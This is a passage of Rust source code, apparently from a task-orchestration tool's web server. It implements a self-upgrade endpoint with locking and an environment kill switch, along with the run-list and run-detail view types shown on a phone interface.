3594        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3595        let amount: u64 = rest[..n].parse().ok()?;
3596        let scale = match rest[n..].chars().next()? {
3597            's' => 1,
3598            'm' => 60,
3599            'h' => 3600,
3600            'd' => 86400,
3601            _ => return None,
3602        };
3603        total = total.checked_add(amount.checked_mul(scale)?)?;
3604        rest = rest[n + 1..].trim_start();
3605    }
3606    Some(total)
3607}
3608
3609#[derive(Debug, Clone, Serialize)]
3610struct UpgradeRequestFailure {
3611    occurred_at: String,
3612    error: String,
3613    retry_after_secs: Option<u64>,
3614    /// Unix seconds; independent of the phone's polling cadence.
3615    retry_at: Option<u64>,
3616}
3617
3618impl UpgradeRequestFailure {
3619    fn new(error: String) -> Self {
3620        let retry_after_secs = upgrade_retry_after(&error);
3621        let now = std::time::SystemTime::now()
3622            .duration_since(std::time::UNIX_EPOCH)
3623            .unwrap_or_default()
3624            .as_secs();
3625        Self {
3626            occurred_at: jiff::Timestamp::now().to_string(),
3627            error,
3628            retry_after_secs,
3629            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3630        }
3631    }
3632}
3633
3634/// `POST /api/upgrade` - replace this binary with the newest release and come
3635/// back on it.
3636///
3637/// Replace the installed binary, restart the detached scheduler, release the
3638/// web listener, then start the successor. Active task and conversation
3639/// workers retain their immutable executable and continue without parking.
3640///
3641/// A legacy embedded scheduler is the only incompatible owner: its work
3642/// must finish or park before the first migration replaces its process.
3643///
3644/// Answers **202**: the reply has to reach the phone while this process can
3645/// still send one, and the phone learns the deck is back by reconnecting.
3646async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3647    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3648}
3649
3650async fn begin_upgrade(
3651    ui: &Arc<Ui>,
3652    trigger: updater::UpgradeTrigger,
3653    latest: Option<kaishin::LatestRelease>,
3654) -> Response {
3655    let reading = daemon::read_status(&ui.home);
3656    if let Some(other) = Foreign::of(reading.as_ref()) {
3657        return ApiError::conflict(format!(
3658            "{} is a legacy scheduler without detached restart support. \
3659             Finish or explicitly park its work in the existing UI before \
3660             this first migration; independent schedulers do not need this.",
3661            other.who()
3662        ))
3663        .into_response();
3664    }
3665
3666    // A second upgrade while one is moving would replace the binary and
3667    // signal the handover again after `serve` already consumed the first
3668    // signal, leaving the process in `replaced` forever. Try-lock rather than
3669    // wait: a phone connection must not hang behind a GitHub round trip.
3670    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3671        return ApiError::conflict("another request is already preparing an upgrade")
3672            .into_response();
3673    };
3674    // Hold the same gate through recording/clearing the request outcome, so
3675    // an older response cannot overwrite a retry's result.
3676    if trigger == updater::UpgradeTrigger::Auto {
3677        let cfg = match Config::discover(&ui.repo, None) {
3678            Ok((cfg, _)) => cfg,
3679            Err(e) => {
3680                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3681            }
3682        };
3683        let Some(latest) = latest else {
3684            return StatusCode::NO_CONTENT.into_response();
3685        };
3686        let in_motion = ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3687            || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some();
3688        let decision = {
3689            let failed = ui
3690                .auto_failed_tag
3691                .lock()
3692                .unwrap_or_else(PoisonError::into_inner);
3693            auto_upgrade_decision(
3694                &cfg.update,
3695                updater::disabled_by_env(),
3696                in_motion,
3697                &latest.tag_name,
3698                failed.as_deref(),
3699            )
3700        };
3701        if let AutoUpgradeDecision::Skip(reason) = decision {
3702            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3703            return StatusCode::NO_CONTENT.into_response();
3704        }
3705        return finish_upgrade_request(
3706            ui,
3707            upgrade_checked_for(
3708                ui,
3709                env!("CARGO_PKG_VERSION").into(),
3710                Ok(Some(latest)),
3711                trigger,
3712            ),
3713        );
3714    }
3715    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3716}
3717
3718fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3719    match result {
3720        Ok(out) => {
3721            *ui.upgrade_request_error
3722                .lock()
3723                .unwrap_or_else(PoisonError::into_inner) = None;
3724            out.into_response()
3725        }
3726        Err(error) if error.status != StatusCode::CONFLICT => {
3727            let failure = UpgradeRequestFailure::new(error.message);
3728            *ui.upgrade_request_error
3729                .lock()
3730                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3731            let mut response = (error.status, Json(&failure)).into_response();
3732            if let Some(value) = failure
3733                .retry_after_secs
3734                .and_then(|secs| secs.to_string().parse().ok())
3735            {
3736                response.headers_mut().insert("retry-after", value);
3737            }
3738            response
3739        }
3740        Err(error) => error.into_response(),
3741    }
3742}
3743
3744async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3745    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3746        return Err(ApiError::conflict(
3747            "an upgrade is already in progress (this process started one and it \
3748             has not finished or failed yet)",
3749        ));
3750    }
3751    let recorded = updater::read_progress(&ui.home);
3752    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3753        return Err(ApiError::conflict(format!(
3754            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3755             stays stuck, restart the deck; on start it settles a stale record.",
3756            p.stage.as_str(),
3757            p.from,
3758            p.to.as_deref().unwrap_or("?"),
3759        )));
3760    }
3761
3762    // The same kill switch the background check honours (`disabled_by_env`),
3763    // checked before anything else for the same reason it is read before the
3764    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3765    // contact GitHub from this process", and a button press must not
3766    // override that any more than a broken `magi.toml` may.
3767    if crate::updater::disabled_by_env() {
3768        return Ok((
3769            StatusCode::OK,
3770            Json(UpgradeView {
3771                from: env!("CARGO_PKG_VERSION").to_owned(),
3772                to: None,
3773                detail: format!(
3774                    "Automatic updates are disabled by {}. Nothing was parked \
3775                     and nothing restarted.",
3776                    crate::updater::NO_AUTOUPDATE_ENV
3777                ),
3778            }),
3779        ));
3780    }
3781
3782    // Check before disturbing listeners or scheduling: no available update
3783    // means there is no reason to restart anything.
3784    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3785    let from = env!("CARGO_PKG_VERSION").to_owned();
3786    let latest = match crate::updater::Checker::new(&cfg.update) {
3787        Some(checker) => checker.newer_release().await,
3788        None => Ok(None),
3789    };
3790    upgrade_checked(ui, from, latest)
3791}
3792
3793fn upgrade_checked(
3794    ui: &Arc<Ui>,
3795    from: String,
3796    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3797) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3798    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3799}
3800
3801fn upgrade_checked_for(
3802    ui: &Arc<Ui>,
3803    from: String,
3804    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3805    trigger: updater::UpgradeTrigger,
3806) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3807    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3808    let Some(latest) = latest else {
3809        return Ok((
3810            StatusCode::OK,
3811            Json(UpgradeView {
3812                from,
3813                to: None,
3814                detail: "Already on the newest release. Nothing was parked \
3815                         and nothing restarted."
3816                    .to_owned(),
3817            }),
3818        ));
3819    };
3820
3821    if let Err(error) = daemon::scheduler_restart_options(&ui.home) {
3822        let detail = format!("cannot determine scheduler restart state: {error:#}");
3823        if trigger == updater::UpgradeTrigger::Auto {
3824            updater::log_warn(&ui.home, &format!("auto-upgrade: {detail}"));
3825        }
3826        return Err(ApiError::internal(detail));
3827    }
3828    if trigger == updater::UpgradeTrigger::Auto {
3829        updater::log_step(&ui.home, "auto-upgrade: beginning update and restart");
3830    }
3831
3832    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3833
3834    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3835    // poll must see a `Downloading` stage immediately, not whenever the
3836    // spawned task happens to get scheduled.
3837    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3838    progress.trigger = trigger;
3839    updater::write_progress_logged(&ui.home, &progress);
3840
3841    let home = ui.home.clone();
3842    ui.upgrade_spawned
3843        .store(true, std::sync::atomic::Ordering::SeqCst);
3844    let spawned = Arc::clone(&ui.upgrade_spawned);
3845    let runner = ui.upgrade_runner;
3846    let failed = ui.auto_failed_tag.clone();
3847    let tag = latest.tag_name.clone();
3848    tokio::spawn(async move {
3849        if let Err(e) = runner(home.clone()).await {
3850            if trigger == updater::UpgradeTrigger::Auto {
3851                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3852            }
3853            tracing::error!("the upgrade did not complete: {e:#}");
3854            // A failure of this attempt says nothing about a handover an
3855            // earlier request already has in flight; checked and written
3856            // under the progress lock.
3857            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3858            // Release only after failure bookkeeping, before accepting a retry.
3859            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3860        }
3861    });
3862
3863    Ok((
3864        StatusCode::ACCEPTED,
3865        Json(UpgradeView {
3866            from,
3867            to: Some(latest.tag_name),
3868            detail,
3869        }),
3870    ))
3871}
3872
3873/// Replace the binary, then ask [`serve`] to hand the address over.
3874///
3875/// Separated from the handler so the 202 is already on its way, and separated
3876/// from the spawn so the successor starts only after the listener is dropped.
3877async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3878    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3879    // hang the upgrade for as long as the process lives.
3880    crate::updater::run_self_update(true, false, true).await?;
3881    updater::log_step(&home, "binary replaced - recording the replaced stage");
3882    if let Some(mut progress) = updater::read_progress(&home) {
3883        progress.advance(updater::Stage::Replaced);
3884        updater::write_progress_logged(&home, &progress);
3885    }
3886    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3887    HANDOVER.notify_one();
3888    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3889    Ok(())
3890}
3891
3892/// One row in the run list.
3893///
3894/// The list route returns this rather than whole `RunState`s: the summary of a
3895/// run is a few hundred bytes and the state is megabytes, and the difference
3896/// is what makes the history usable on a mobile link.
3897#[derive(Debug, Serialize)]
3898struct RunSummary {
3899    activity: String,
3900    id: String,
3901    short: String,
3902    status: String,
3903    done: bool,
3904    instruction: String,
3905    title: String,
3906    repo: String,
3907    repo_name: String,
3908    created_at: String,
3909    updated_at: String,
3910    candidates: usize,
3911    viable: usize,
3912    judges: usize,
3913    winner: Option<char>,
3914    reviews: usize,
3915    quota_losses: usize,
3916    event: Option<String>,
3917    /// The later attempt at the same task that replaced this one, if any.
3918    ///
3919    /// Two cards with one title is otherwise unreadable: this is what lets
3920    /// the deck say "superseded by 4043" on the older of the pair.
3921    superseded_by: Option<String>,
3922    /// Blocked on a question nobody has answered.
3923    ///
3924    /// Derived from the question store rather than stored on the run: an agent
3925    /// calling `magi ask` blocks mid-node, and writing a status from there
3926    /// would race the graph's own save of `run.json` and be overwritten at the
3927    /// next node boundary. Asking the store is always true and never races.
3928    waiting: bool,
3929    /// Whether the process recorded as driving this run can still be proven
3930    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3931    /// rather than presenting its last graph node as still in flight.
3932    live: crate::run::Liveness,
3933    /// The land loop's last look at the pull request, when there is one.
3934    pr: Option<crate::run::PrRecord>,
3935    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3936    /// design — never picked up by the PR-polling merge watcher, unlike an
3937    /// ordinary `Ready` that may still be a live landing candidate. See
3938    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3939    /// re-deriving the same check from `status` and `merge.mode` itself.
3940    unmerged_by_design: bool,
3941    /// Derived presentation status matching [`RunDetailView::display_status`].
3942    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3943    #[serde(default)]
3944    display_status: String,
3945    /// What the status badge shows: `display_status`, or `superseded` for a
3946    /// non-live run a later attempt replaced. See [`run_badge_status`].
3947    #[serde(default)]
3948    badge_status: String,
3949    /// Who started the run, as the one label every surface shares; the
3950    /// "origin unknown" wording when the record predates origins.
3951    origin_label: String,
3952}
3953
3954impl RunSummary {
3955    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3956        Self {
3957            activity: crate::run_progress::activity(state, live, waiting),
3958            id: state.id.clone(),
3959            short: state.short().to_owned(),
3960            status: status_word(state.status),
3961            done: state.status.done(),
3962            unmerged_by_design: state.unmerged_by_design(),
3963            display_status: run_display_status(state, waiting, live),
3964            badge_status: run_display_status(state, waiting, live),
3965            instruction: state.instruction.clone(),
3966            title: title_from(&state.instruction, TITLE_MAX),
3967            repo: state.repo.display().to_string(),
3968            repo_name: state
3969                .repo
3970                .file_name()
3971                .map(|n| n.to_string_lossy().into_owned())
3972                .unwrap_or_default(),
3973            created_at: state.created_at.to_string(),
3974            updated_at: state.updated_at.to_string(),
3975            candidates: state.candidates.len(),
3976            viable: state.viable().len(),
3977            judges: state.config.graph.judges,
3978            winner: state.winner().map(|c| c.label),
3979            reviews: state.reviews.len(),
3980            quota_losses: state.quota.len(),
3981            event: state
3982                .verification_blocking_cause()
3983                .or_else(|| state.events.last().map(|e| e.message.clone())),
3984            waiting,
3985            live,
3986            // Filled in by the list route, which is the only place that can
3987            // see a task's other attempts.
3988            superseded_by: None,
3989            pr: state.pr.clone(),
3990            origin_label: crate::run::origin_label(state.origin.as_ref()),
3991        }
3992    }
3993}
3994
3995/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3996/// the same string `serde` writes for the status inside a full run.
3997fn status_word(status: RunStatus) -> String {
3998    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3999    // was a third way of naming the same statuses, and one that changed
4000    // silently with a derive.
4001    status.as_str().to_owned()
4002}
4003
4004/// The presentation status for a run, unified across summaries and details.
4005///
4006/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
4007/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
4008/// runs awaiting operator answers.
4009fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
4010    if waiting {
4011        return "waiting".to_owned();
4012    }
4013    if state.unmerged_by_design() {
4014        return "unmerged".to_owned();
4015    }
4016    if !state.status.done() && live == crate::run::Liveness::Dead {
4017        // The driver claim clears this flag before saving another event.
4018        // A previous park event can therefore outlive a resumed driver.
4019        if state.parked {
4020            return "parked".to_owned();
4021        }
4022        return "stale".to_owned();
4023    }
4024    status_word(state.status)
4025}
4026
4027/// The word a run's status badge shows: `display_status`, except that a
4028/// non-terminal run which is not provably live and was replaced by a later
4029/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
4030///
4031/// Same judgement `magi show` uses (`RunState::liveness`, the task's
4032/// successor); a live driver, `Unknown` liveness and terminal runs keep their
4033/// own word, so superseded never claims more than "not live".
4034fn run_badge_status(
4035    state: &RunState,
4036    display_status: &str,
4037    live: crate::run::Liveness,
4038    superseded: bool,
4039) -> String {
4040    if state.status.done() || live == crate::run::Liveness::Live {
4041        return display_status.to_owned();
4042    }
4043    if superseded {
4044        return "superseded".to_owned();
4045    }
4046    // A dead run's `display_status` is `stale`, except that a deliberate park
4047    // and an open owner question keep their own word: neither is a crash, and
4048    // the question still needs an answer. Anything else dead reads `stale`.
4049    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
4050        return "stale".to_owned();
4051    }
4052    display_status.to_owned()
4053}
4054
4055/// `?limit=`, clamped by the handler.
4056#[derive(Debug, Deserialize)]
4057struct ListQuery {
4058    #[serde(default)]
4059    limit: Option<usize>,
4060    /// Exact ids only; an empty value requests no rows (except queue blockers).
4061    ids: Option<String>,
4062}
4063
4064impl ListQuery {
4065    fn contains(&self, id: &str) -> bool {
4066        self.ids
4067            .as_ref()
4068            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
4069    }
4070}
4071
4072async fn runs_list(
4073    State(ui): State<Arc<Ui>>,
4074    Query(q): Query<ListQuery>,
4075) -> ApiResult<Json<Vec<RunSummary>>> {
4076    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
4077    blocking(move || {
4078        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4079        let states = run_ids(&ui.runs)
4080            .into_iter()
4081            // A run whose state cannot be read is skipped, not fatal: a run
4082            // killed mid-write must not blank the history of every other one.
4083            // The detail route still explains it, which is where an operator
4084            // asking "what happened to that run" ends up.
4085            .filter_map(|id| read_run(&ui.runs, &id).ok())
4086            .take(limit)
4087            .filter(|run| q.contains(&run.id));
4088        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4089        let summaries = summarize(
4090            states,
4091            &open_runs,
4092            &claimed,
4093            &superseded,
4094            |p| probe.borrow_mut().status(p),
4095            |p| probe.borrow_mut().started_at(p),
4096        );
4097        Ok(Json(summaries))
4098    })
4099    .await
4100}
4101
4102/// Everything the per-run rows share, read once: runs with an open question,
4103/// runs a live daemon claims, and the superseded map. Asking per run re-read
4104/// every question file and the daemon status file for each of hundreds of
4105/// runs, and spawned a process probe per run on Windows.
4106fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
4107    let open_runs: HashSet<String> = ui
4108        .questions
4109        .list()
4110        .into_iter()
4111        .filter(|q| q.status.open())
4112        .map(|q| q.run)
4113        .collect();
4114    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4115        .into_iter()
4116        .map(|c| c.run)
4117        .collect();
4118    (open_runs, claimed, ui.queue.superseded())
4119}
4120
4121/// The rows of the run list, given everything that is shared between them.
4122///
4123/// Pure over its inputs so a test can count how often the process queries are
4124/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4125/// takes, called at most once per run.
4126fn summarize<I, S, D>(
4127    states: I,
4128    open_runs: &HashSet<String>,
4129    claimed: &HashSet<String>,
4130    superseded: &HashMap<String, String>,
4131    mut status_q: S,
4132    mut identity_q: D,
4133) -> Vec<RunSummary>
4134where
4135    I: IntoIterator<Item = RunState>,
4136    S: FnMut(u32) -> Option<bool>,
4137    D: FnMut(u32) -> Option<String>,
4138{
4139    states
4140        .into_iter()
4141        .map(|state| {
4142            let waiting = open_runs.contains(&state.id);
4143            let live =
4144                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4145            let mut row = RunSummary::of(&state, waiting, live);
4146            row.superseded_by = state
4147                .pr_taken_over_by
4148                .as_ref()
4149                .or_else(|| superseded.get(&state.id))
4150                .map(String::as_str)
4151                .map(crate::run::short_of)
4152                .map(str::to_owned);
4153            row.badge_status = run_badge_status(
4154                &state,
4155                &row.display_status,
4156                live,
4157                row.superseded_by.is_some(),
4158            );
4159            row
4160        })
4161        .collect()
4162}
4163
4164/// A run as the detail route hands it to the phone.
4165///
4166/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4167/// the instruction as markdown, and the raw `instruction` field this struct
4168/// still carries (unchanged) is what a client wanting the exact bytes reads
4169/// instead.
4170#[derive(Debug, Serialize)]
4171struct RunDetailView {
4172    progress: crate::run_progress::Progress,
4173    stop_reason: Option<String>,
4174    #[serde(flatten)]
4175    state: RunState,
4176    instruction_md: Vec<md::Node>,
4177    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4178    /// mirror the records they come from, index for index; the raw strings
4179    /// stay in `state` and decide whether a block is shown at all.
4180    #[serde(flatten)]
4181    prose_md: RunProseMd,
4182    /// Whether a process is actually still driving this run: `"live"`,
4183    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4184    ///
4185    /// `state.active` (flattened in above) is only ever cleared by the
4186    /// process that populated it; a killed one leaves its last wave's
4187    /// entries behind. Carrying this alongside is what lets the phone rail
4188    /// tell "this seat is still answering" from "this seat was still
4189    /// answering when whatever was driving this run died" without a second
4190    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4191    /// proof of either. A string rather than a bool on purpose: a daemon
4192    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4193    /// and neither proven is `"unknown"` — folding that third case into
4194    /// either end of a bool is exactly the wrong call for a phone screen an
4195    /// operator uses to decide whether to wait or to act.
4196    live: crate::run::Liveness,
4197    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4198    /// alongside the flattened `state` rather than inside it, since
4199    /// `RunState` has no business knowing which of its own methods a caller
4200    /// wants serialized.
4201    unmerged_by_design: bool,
4202    /// Same field and meaning as [`RunSummary::waiting`].
4203    #[serde(default)]
4204    waiting: bool,
4205    /// Same derived presentation status as [`RunSummary::display_status`].
4206    #[serde(default)]
4207    display_status: String,
4208    /// Same field and meaning as [`RunSummary::badge_status`].
4209    #[serde(default)]
4210    badge_status: String,
4211    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4212    /// terminal. The client's `landView` keys on it, and the flattened state
4213    /// has no such field, so without it a finished run's stale `open` PR
4214    /// would be painted as live on the detail page.
4215    done: bool,
4216    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4217    /// route fills it from [`Queue::superseded`], the detail route from
4218    /// [`Queue::superseded_by`], and both read the same underlying task
4219    /// order. Without this the detail page could only ever show a red
4220    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4221    /// with nothing anywhere saying so — an operator opening it had no way
4222    /// to tell "this is done elsewhere" from "this still needs a retry".
4223    superseded_by: Option<String>,
4224    /// The task's current attempt, when this run is an older one — resolved
4225    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4226    /// the client to derive.
4227    ///
4228    /// Three things a client cannot safely do on its own drove this onto the
4229    /// server: it has to name the chain's *current head*, not just the next
4230    /// attempt (`superseded_by` above), because an intermediate retry in a
4231    /// longer chain can itself still be unresolved; it has to resolve to a
4232    /// real id rather than a short id a client would have to guess a full id
4233    /// from, which is ambiguous the moment two runs share a suffix; and it
4234    /// has to read that head's own status directly, because whether a run
4235    /// list a client happens to have cached even contains that attempt
4236    /// depends on a page limit this route knows nothing about.
4237    latest_attempt: Option<LatestAttempt>,
4238    /// The queue task this run belongs to, so the detail page can link back
4239    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4240    task: Option<TaskRef>,
4241    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4242    /// run recorded before origins existed. `origin` itself (flattened in
4243    /// with `state`) is `null` in that case.
4244    origin_label: String,
4245    /// Each recorded pass over this run, with the cause it stopped for. Empty
4246    /// for a run from before passes were kept: its earlier passes are unknown.
4247    pass_views: Vec<PassView>,
4248}
4249
4250/// A task named from a run's detail page.
4251#[derive(Debug, Serialize)]
4252struct TaskRef {
4253    id: String,
4254    short: String,
4255    title: String,
4256    /// [`Source::label`], e.g. `chat@a1b2`.
4257    source_label: String,
4258    /// Where the task came from, when that place has a page; see [`source_link`].
4259    source_link: Option<SourceLink>,
4260    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4261    status: &'static str,
4262    attempts: usize,
4263    max_attempts: usize,
4264    /// This run is the last entry of the task's run list.
4265    is_latest: bool,
4266    /// The task's newest run, when it is not this one.
4267    latest: Option<RunBrief>,
4268    /// The run that finished a `done` task (merged, or already in the base).
4269    finished_by: Option<RunBrief>,
4270    /// The task is `done` but no run on record finished it: closed by hand.
4271    closed_by_hand: bool,
4272}
4273
4274/// The page that filed a task, as the UI links to it.
4275#[derive(Debug, PartialEq, Eq, Serialize)]
4276struct SourceLink {
4277    /// `chat` (a conversation) or `run` (a run's node).
4278    kind: &'static str,
4279    /// The full id, never the short one in the label.
4280    id: String,
4281    /// The hash route that opens it.
4282    href: String,
4283}
4284
4285/// Percent-encode everything outside the URL-unreserved set.
4286fn encode_segment(raw: &str) -> String {
4287    let mut out = String::with_capacity(raw.len());
4288    for b in raw.bytes() {
4289        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4290            out.push(b as char);
4291        } else {
4292            out.push_str(&format!("%{b:02X}"));
4293        }
4294    }
4295    out
4296}
4297
4298/// The one place that decides where a task's source links to. A chat
4299/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4300/// a person or an imported issue has no page, so no link.
4301fn source_link(source: &Source) -> Option<SourceLink> {
4302    let Source::Agent { run, node } = source else {
4303        return None;
4304    };
4305    let (kind, route) = if node == crate::queue::CHAT_NODE {
4306        ("chat", "chat")
4307    } else {
4308        ("run", "runs")
4309    };
4310    Some(SourceLink {
4311        kind,
4312        id: run.clone(),
4313        href: id_links::page_href(route, run),
4314    })
4315}
4316
4317/// The parent task of a follow-up, when its file can still be read.
4318#[derive(Debug, Serialize, PartialEq)]
4319struct FollowUpParent {
4320    id: String,
4321    short: String,
4322    title: String,
4323    /// The parent's own status (`TaskStatus::as_str`).
4324    status: &'static str,
4325    href: String,
4326}
4327
4328/// The merged run a follow-up was filed from.
4329#[derive(Debug, Serialize, PartialEq)]
4330struct FollowUpRun {
4331    id: String,
4332    short: String,
4333    /// `None` when the run's record cannot be read.
4334    status: Option<&'static str>,
4335    /// `None` unless the record could be read: never a dead link.
4336    href: Option<String>,
4337}
4338
4339/// Where a follow-up task came from, resolved once per task page so the flow
4340/// chart and the detail block cannot disagree. See [`followup_origin`].
4341#[derive(Debug, Serialize, PartialEq)]
4342struct FollowUpOrigin {
4343    /// Present only when `origin_task` is set and that task still exists.
4344    parent: Option<FollowUpParent>,
4345    run: FollowUpRun,
4346    /// The merged pull request, verbatim. Not an href: the client passes it
4347    /// through `forgeUrl()` and renders text when that refuses it (the one
4348    /// exception to "the href rule is Rust's alone", since a forge URL is
4349    /// data from a record, not a route).
4350    pr: String,
4351    findings: Vec<String>,
4352    generation: u32,
4353}
4354
4355/// The one place that decides what a follow-up links to. A parent that cannot
4356/// be read (gone, or an id that names nothing) is `None`, never an error.
4357fn followup_origin(
4358    fu: &crate::queue::FollowUp,
4359    task: impl Fn(&str) -> Option<Task>,
4360    run: impl Fn(&str) -> Option<RunState>,
4361) -> FollowUpOrigin {
4362    let parent = fu
4363        .origin_task
4364        .as_deref()
4365        .and_then(task)
4366        .map(|t| FollowUpParent {
4367            short: t.short().to_owned(),
4368            href: format!("#/tasks/{}", encode_segment(&t.id)),
4369            status: t.status.as_str(),
4370            title: t.title,
4371            id: t.id,
4372        });
4373    let state = run(&fu.run);
4374    FollowUpOrigin {
4375        parent,
4376        run: FollowUpRun {
4377            short: run::short_of(&fu.run).to_owned(),
4378            status: state.as_ref().map(|s| s.status.as_str()),
4379            href: state
4380                .is_some()
4381                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4382            id: fu.run.clone(),
4383        },
4384        pr: fu.pr.clone(),
4385        findings: fu.findings.clone(),
4386        generation: fu.generation,
4387    }
4388}
4389
4390/// Another run of the same task, as named from a run's detail page.
4391#[derive(Debug, Serialize)]
4392struct RunBrief {
4393    id: String,
4394    short: String,
4395    /// `None` when the run's record cannot be read.
4396    status: Option<&'static str>,
4397    /// The task-page wording for how that pass ended.
4398    outcome: String,
4399    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4400    badge: Option<String>,
4401}
4402
4403/// The task's overall outcome as seen from `this_run`'s page, classified with
4404/// the same exits the task page's flowchart uses.
4405fn task_outcome(
4406    task: &Task,
4407    this_run: &str,
4408    max_attempts: usize,
4409    read: impl Fn(&str) -> Option<RunState>,
4410) -> TaskRef {
4411    let max_attempts = task.effective_attempt_limit(max_attempts);
4412    let history = task_history(task, read);
4413    let brief = |h: &TaskRunView| RunBrief {
4414        id: h.id.clone(),
4415        short: h.short.clone(),
4416        status: h.status,
4417        outcome: h.exit.edge_label(h.status),
4418        badge: h.badge.clone(),
4419    };
4420    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4421    let latest = if is_latest {
4422        None
4423    } else {
4424        history.last().map(brief)
4425    };
4426    let done = task.status == TaskStatus::Done;
4427    let finished_by = done
4428        .then(|| {
4429            history
4430                .iter()
4431                .rev()
4432                .find(|h| {
4433                    matches!(
4434                        h.exit,
4435                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4436                    )
4437                })
4438                .map(brief)
4439        })
4440        .flatten();
4441    TaskRef {
4442        short: task.short().to_owned(),
4443        title: task.title.clone(),
4444        id: task.id.clone(),
4445        source_label: task.source_label(),
4446        source_link: source_link(&task.source),
4447        status: task.status.as_str(),
4448        attempts: task.attempts,
4449        max_attempts,
4450        is_latest,
4451        latest,
4452        closed_by_hand: done && finished_by.is_none(),
4453        finished_by,
4454    }
4455}
4456
4457/// The task's current attempt, as seen from an older one's detail page.
4458#[derive(Debug, Serialize)]
4459struct LatestAttempt {
4460    id: String,
4461    short: String,
4462    /// Whether this attempt itself settled with a result nobody needs to
4463    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4464    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4465    /// unconfirmed claim that no change was needed, which is exactly why it
4466    /// settles the task through `Held` rather than `Done` and still waits on
4467    /// a human to check the evidence; showing an older run as "finished
4468    /// elsewhere" on the strength of an unverified claim would bury the
4469    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4470    /// in-flight status are excluded because they are exactly the
4471    /// unresolved states this field exists to tell apart from a real finish.
4472    resolved: bool,
4473    /// The attempt's own recorded status, so the page can say where it
4474    /// stands while it is not resolved yet.
4475    status: RunStatus,
4476    /// Whether that status is terminal (nothing is still running it).
4477    done: bool,
4478}
4479
4480/// Markdown for the free-text prose of a run, parallel to `RunState`.
4481#[derive(Debug, Default, Serialize)]
4482struct RunProseMd {
4483    /// `None` when the run has no design deliberation.
4484    advice_md: Option<AdviceMd>,
4485    /// One entry per candidate: the summary.
